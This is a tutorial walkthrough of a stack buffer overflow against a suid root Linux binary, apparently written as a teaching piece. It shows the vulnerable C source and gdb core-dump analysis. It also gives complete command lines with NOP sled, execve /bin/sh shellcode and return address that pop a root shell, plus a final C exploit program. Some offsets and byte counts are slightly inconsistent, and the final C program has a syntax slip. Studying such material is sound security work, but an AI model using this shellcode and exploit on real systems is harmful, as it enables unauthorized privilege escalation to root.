********************************************************************** * * * This is a simple demonstration of buffer overflow exploitation * * * ********************************************************************** There is a suid root binary in my home directory, that i'm going to exploit to get root. I start by creating a directory in /tmp so I have write access, and can get a core dump. I see alot of people running the program in gdb, thats not good practice as what may work in gdb, may not work outside of gdb. Besides the fact that your addresses will never be exactly the same, and gdb drops privileges as well. l3thal@pandora:~/code/examples$ ls -al vuln -r-sr-x--- 1 root l3thal 6274 2010-01-19 18:08 vuln Here the suid bit is set so that the program is running with root privileges, but its owned by group l3thal and set executable by group also. For those of you that don't understand UNIX file permissions, I will break this down for you. U G O U = User G = Group O = Others ---|---|--- r-s r-x --- 1 root l3thal 6274 2010-01-19 18:08 vuln readable and executable (SUID) by User (root) readable and executable by Group (l3thal) l3thal@pandora:/tmp$ mkdir moo;cd moo Now just copy the vuln program, and source here. l3thal@pandora:/tmp/moo$ cp ~/code/examples/vuln* . l3thal@pandora:/tmp/moo$ ls -l vuln -r-xr-x--- 1 l3thal l3thal 6274 2010-01-19 18:10 vuln When I copied the file the suid bit is lost and it is owned by l3thal, so after I figure out exactly what i need to do to exploit it, I will change the filename in my code to execute the one running with root privs. l3thal@pandora:/tmp/moo$ cat vuln.c #include #include int main(int argc, char **argv) { /* if theres no argument, exit */ if(!argv[1]) { return 0; } /* copy the first argument into a 256 byte buffer */ char buffer[256]; strcpy(buffer, argv[1]); return 0; } It's a 256 byte buffer, but 257 doesn't always overflow the buffer due to padding added by the compiler. So I'm gonna start with more than enough and reduce the amount of A's until I'm perfectly aligned with eip. l3thal@pandora:/tmp/moo$ ./vuln `perl -e 'print "A"x300'` Segmentation fault (core dumped) That was enough to crash the program, so let's see if it was enough to overwrite the saved return address. l3thal@pandora:/tmp/moo$ gdb -c core.17916 GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. [New process 17916] #0 0x41414141 in ?? () (gdb) i r <= info registers eax 0x12c 300 ecx 0x0 0 edx 0x33b0f0 3387632 ebx 0x339ff4 3383284 esp 0xbfffd760 0xbfffd760 ebp 0x41414141 0x41414141 esi 0x8048460 134513760 edi 0x8048330 134513456 eip 0x41414141 0x41414141 <= saved return address is overwritten eflags 0x10292 [ AF SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0xc062007b -1067319173 fs 0x0 0 gs 0x33 51 (gdb) q Ok, the saved return address is overwritten so I kept reducing the amount of A's until i found the exact amount. I've got some small shellcode which is 25 bytes, so I'm going to add it to my string of A's. 272 bytes was what i needed to overwrite the saved return address, so 272 - 4 bytes for the return address = 268 - 25 bytes for the shellcode = 243. So my overflow string will be ... [AAAAA 243 A's AAAA] [25 byte shellcode] [4 byte return address] The return address needs to be little endian byte order (x86 machines are little endian. sparc, ARM is big endian) so if 0xdeadbeef was the return address, we would have to reverse it like so... de ad be ef => ef be ad de => \xef\xbe\xad\xde l3thal@pandora:/tmp/moo$ ./vuln `perl -e 'print "A"x243 . "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "\xef\xbe\xad\xde"'` Segmentation fault (core dumped) l3thal@pandora:/tmp/moo$ gdb -c core.18242 GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. [New process 18242] #0 0x00deadbe in ?? () (gdb) q I missed it by 1 byte, so the shellcode must have been 24 bytes. Let's adjust the string. I'm gonna use nops (0x90) instead of A (0x41) so i can use point the return adress into the middle of the nops and hit my shellcode. I dont wanna be exact because when i change the filename from ./vuln to ~/code/examples/vuln to get the real program instead of the copy, the address will change slightly due to the length of the filename. This way the slight difference won't matter. l3thal@pandora:/tmp/moo$ ./vuln `perl -e 'print "\x90"x244 . "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "\xef\xbe\xad\xde"'` Segmentation fault (core dumped) l3thal@pandora:/tmp/moo$ gdb -c core.18313 GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". Core was generated by `./vuln ����������������������������������������������������������������������'. Program terminated with signal 11, Segmentation fault. [New process 19914] 0 0xdeadbeef in ?? () <= Perfect! I want to look through the stack and find my string of nops (gdb) x/10s $esp 0xbfffd780: "" 0xbfffd781: "" 0xbfffd782: "" 0xbfffd783: "" 0xbfffd784: "\004���\020���\210\020�" 0xbfffd790: "\001" Here's the nops 0xbfffd8fc: '\220' <= nops 0xbfffd9c4: '\220' , "1�Ph//shh/bin\211�PS\211�\231�\v�\200BBBB" 0xbfffda0d: "TERM=xterm" 0xbfffda18: "SHELL=/bin/bash" 0xbfffda28: "SSH_CLIENT=13.37.13.37 54097 22" 0xbfffda4b: "SSH_TTY=/dev/pts/4" 0xbfffda5e: "USER=vuln" I want to return somewhere in the middle of the nops so 0xbfffd9c4 should be fine. Lets change it to little endian byte order bf ff d9 c4 => c4 d9 ff bf => \xc4\xd9\xff\xbf l3thal@pandora:/tmp/moo$ ./vuln `perl -e 'print "\x90"x244 . "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "\xc4\xd9\xff\xbf"'` sh-3.2$ exit exit I got it, so lets change the filename so we get the privilege escalation l3thal@pandora:/tmp/moo$ ~/code/examples/vuln `perl -e 'print "\x90"x244 . "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "\xc4\xd9\xff\xbf"'` sh-3.2# whoami;id root uid=1018(l3thal) gid=1018(l3thal) euid=0(root) groups=4(adm),1018(l3thal) sh-3.2# zing! I'm still uid/gid l3thal but the euid ("effective" uid) is 0(root), so I have root privileges. Now say it wasnt root but level5 and you were level4 you would get something like this and level5 privileges sh-3.2$ whoami;id level5 uid=1006(level4) gid=1006(level4) euid=1007(level5) groups=1006(level4) sh-3.2$ zing! Now that I know exactly how to exploit this, I'm going to write an exploit to make it easier next time. #include #include #include #define NOP 0x90 // nop is 0x90 in hex int main(void) { char shell[] = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" char payload[272]; // our overflow string char *ret="\xc4\xd9\xff\xbf"; // return address /* copy our nops, shellcode, and return adress to payload */ memset(payload, NOP, 243); memcpy(payload+243, shell, sizeof(shell)); /* sizeof(shell) is 25 bytes */ memcpy(payload+268, ret, sizeof(ret)); /* execute the program with payload as argv[1] */ execl("./vuln","vuln", payload, 0); return 0; }